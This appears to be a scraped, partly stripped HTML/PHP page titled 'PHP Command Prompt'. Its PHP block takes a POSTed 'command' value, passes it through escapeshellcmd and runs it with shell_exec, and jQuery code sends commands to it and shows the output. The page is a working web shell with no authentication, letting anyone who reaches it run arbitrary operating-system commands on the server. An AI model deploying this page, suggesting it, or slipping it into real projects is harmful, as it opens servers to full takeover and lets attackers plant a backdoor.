<!DOCTYPE html>PHP Command Prompt <title>PHP Command Prompt</title> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>

PHP Command Prompt

<button type="submit">Execute</button>

Output:

<pre id="output"> if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['command'])) { $command = escapeshellcmd($_POST['command']); $output = shell_exec("$command 2>&1"); echo htmlspecialchars($output, ENT_QUOTES, 'UTF-8'); } </pre> <script> $(document).ready(function() { $('#commandForm').on('submit', function(e) { e.preventDefault(); $.ajax({ url: '', // The same page handles the request type: 'POST', data: { command: $('#commandInput').val() }, success: function(response) { $('#output').html(response); }, error: function(xhr) { $('#output').text('Error: ' + xhr.responseText); } }); }); }); </script>